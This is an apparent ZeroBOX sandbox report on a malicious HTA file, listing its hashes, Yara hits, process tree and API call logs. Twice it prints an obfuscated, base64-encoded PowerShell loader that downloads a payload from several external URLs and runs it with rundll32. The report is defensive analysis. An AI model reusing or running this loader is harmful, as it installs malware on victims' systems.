popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Njguoo.hta

Generic Malware Admin Tool (Sysinternals etc ...) Antivirus AntiDebug AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 April 20, 2023, 11:20 a.m. April 20, 2023, 11:24 a.m.
Size 362.4KB
Type UTF-8 Unicode text, with very long lines, with CRLF line terminators
MD5 6d3e7575bc3016353e43b00a21c2d3eb
SHA256 80e1c3e8d15b61dc74c8fb6520a49fcf9c44d57f0520cd01503998395e62c100
CRC32 EE4B7DCE
ssdeep 6144:Ry5v8XFR02i4e7j+2OwqK/MS/npfbwyJ6YsGVBDxy5v8XFR02iw:q8c2iN+hDq9C8c2iw
Yara
  • Admin_Tool_IN_Zero - Admin Tool Sysinternals
  • Generic_Malware_Zero - Generic Malware

  • mshta.exe "C:\Windows\System32\mshta.exe" C:\Users\test22\AppData\Local\Temp\Njguoo.hta

    3048

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAUgBhAGQAaQBvAHMAZQBuAHMAaQB0AGkAdgBpAHQAeQAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAGMAaQB0AHkAdABlAGMAaAAtAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwA2AE0AaAAxAGsALwBCADcARQBIAHMAYgBVAFgAcQBrAGYALABoAHQAdABwAHMAOgAvAC8AZQByAGcALQBlAGcALgBjAG8AbQAvAG8AYwBtAGIALwB0AHYAYgBqAFMALABoAHQAdABwAHMAOgAvAC8AYwBhAHIAbABhAGQAdgBvAGcAYQBkAGEAdAByAGkAYgB1AHQAYQByAGkAYQAuAGMAbwBtAC8AdAB2AG4AcQA5AC8AVABIAFcAawBMACwAaAB0AHQAcABzADoALwAvAG0AcgBjAHIAaQB6AHEAdQBuAGEALgBjAG8AbQAvAEwANwBjAGMATgAvAFAAaQBmAGoASgA3ADUAaAAzACwAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABsAG8AcwBtAGkAcgB0AG8AcwAuAGMAbwBtAC8AcwBqAG4ALwA3AHkARAB6AFoAVwAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBFAEQAdABtAEcAcgBMACwAaAB0AHQAcABzADoALwAvAGcAcwBzAGMAbwByAHAAbwByAGEAdABpAG8AbgBsAHQAZAAuAGMAbwBtAC8AbwBrAFMAZgBqAC8AZwBkAE8AcQBWAGMAcwBjAGYAeAAsAGgAdAB0AHAAcwA6AC8ALwB6AGEAaQBuAGMAbwAuAG4AZQB0AC8ATwBkAE8AVQAvADkAUwA2AG8AWgBXADgAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBwAHMAdwBlAHAAdAAgAGkAbgAgACQAUgBhAGQAaQBvAHMAZQBuAHMAaQB0AGkAdgBpAHQAeQApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAVQBwAHMAdwBlAHAAdAAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEAOQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAZABpAGYAZgBlAHIAZQBuAHQAaQBhAGwAcwAuAHUAbgBjAG8AbQBpAGMAYQBsAEYAbwByAGUAYwBvAG0AbQBlAG4AZAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGQAaQBmAGYAZQByAGUAbgB0AGkAYQBsAHMALgB1AG4AYwBvAG0AaQBjAGEAbABGAG8AcgBlAGMAbwBtAG0AZQBuAGQAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAawBBAEcAawBBAFoAZwBCAG0AQQBHAFUAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAcABBAEcARQBBAGIAQQBCAHoAQQBDADQAQQBkAFEAQgB1AEEARwBNAEEAYgB3AEIAdABBAEcAawBBAFkAdwBCAGgAQQBHAHcAQQBSAGcAQgB2AEEASABJAEEAWgBRAEIAagBBAEcAOABBAGIAUQBCAHQAQQBHAFUAQQBiAGcAQgBrAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA="

      2184

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568d58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568a98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568a98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568a98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568c98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568c98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568c98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568c98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568c98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568c98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568c98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568c98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568c98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568c98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00568b58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005682d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005682d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005682d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005682d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73162000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72c73000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03560000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03560000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03561000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03562000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03562000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03562000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03562000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03562000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03562000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03562000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03562000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03563000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03563000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03563000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03564000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03564000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03564000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03565000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03565000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03565000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03566000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03566000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03566000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03566000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03566000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03566000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03566000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03566000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03567000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03567000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03567000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03567000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03567000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03567000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03567000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03568000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03568000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03568000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03568000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03568000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03568000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03568000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03569000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03569000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03569000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03569000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03569000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3048
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03569000
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAUgBhAGQAaQBvAHMAZQBuAHMAaQB0AGkAdgBpAHQAeQAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAGMAaQB0AHkAdABlAGMAaAAtAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwA2AE0AaAAxAGsALwBCADcARQBIAHMAYgBVAFgAcQBrAGYALABoAHQAdABwAHMAOgAvAC8AZQByAGcALQBlAGcALgBjAG8AbQAvAG8AYwBtAGIALwB0AHYAYgBqAFMALABoAHQAdABwAHMAOgAvAC8AYwBhAHIAbABhAGQAdgBvAGcAYQBkAGEAdAByAGkAYgB1AHQAYQByAGkAYQAuAGMAbwBtAC8AdAB2AG4AcQA5AC8AVABIAFcAawBMACwAaAB0AHQAcABzADoALwAvAG0AcgBjAHIAaQB6AHEAdQBuAGEALgBjAG8AbQAvAEwANwBjAGMATgAvAFAAaQBmAGoASgA3ADUAaAAzACwAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABsAG8AcwBtAGkAcgB0AG8AcwAuAGMAbwBtAC8AcwBqAG4ALwA3AHkARAB6AFoAVwAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBFAEQAdABtAEcAcgBMACwAaAB0AHQAcABzADoALwAvAGcAcwBzAGMAbwByAHAAbwByAGEAdABpAG8AbgBsAHQAZAAuAGMAbwBtAC8AbwBrAFMAZgBqAC8AZwBkAE8AcQBWAGMAcwBjAGYAeAAsAGgAdAB0AHAAcwA6AC8ALwB6AGEAaQBuAGMAbwAuAG4AZQB0AC8ATwBkAE8AVQAvADkAUwA2AG8AWgBXADgAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBwAHMAdwBlAHAAdAAgAGkAbgAgACQAUgBhAGQAaQBvAHMAZQBuAHMAaQB0AGkAdgBpAHQAeQApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAVQBwAHMAdwBlAHAAdAAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEAOQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAZABpAGYAZgBlAHIAZQBuAHQAaQBhAGwAcwAuAHUAbgBjAG8AbQBpAGMAYQBsAEYAbwByAGUAYwBvAG0AbQBlAG4AZAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGQAaQBmAGYAZQByAGUAbgB0AGkAYQBsAHMALgB1AG4AYwBvAG0AaQBjAGEAbABGAG8AcgBlAGMAbwBtAG0AZQBuAGQAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAawBBAEcAawBBAFoAZwBCAG0AQQBHAFUAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAcABBAEcARQBBAGIAQQBCAHoAQQBDADQAQQBkAFEAQgB1AEEARwBNAEEAYgB3AEIAdABBAEcAawBBAFkAdwBCAGgAQQBHAHcAQQBSAGcAQgB2AEEASABJAEEAWgBRAEIAagBBAEcAOABBAGIAUQBCAHQAQQBHAFUAQQBiAGcAQgBrAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA="
